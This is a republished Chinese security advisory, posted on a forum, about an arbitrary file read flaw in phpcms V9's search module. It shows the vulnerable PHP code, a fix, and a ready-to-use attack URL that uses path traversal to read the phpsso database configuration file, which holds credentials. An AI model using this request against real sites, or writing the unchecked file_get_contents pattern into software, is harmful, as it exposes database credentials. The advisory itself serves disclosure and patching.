热搜词
发表于 2014-3-27 18:26:01 | 显示全部楼层 |阅读模式
发布时间: 2012-07-25

漏洞版本:phpcms V9

漏洞描述:phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞

漏洞代码:
public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];
        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;

攻击测试: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/
configs/database.php

安全建议:升级到最新版本
临时解决:
    禁止mysql数据库外链.
    给数据库单独的用户权限,不要给root权限.
或者直接手工修改为:
public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];
        $trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
        $urm_md5 = md5($url);
        if (!in_array($urm_md5, $trust_url)) exit;
        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;
    }
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-9-20 09:04 , Processed in 0.125532 second(s), 25 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team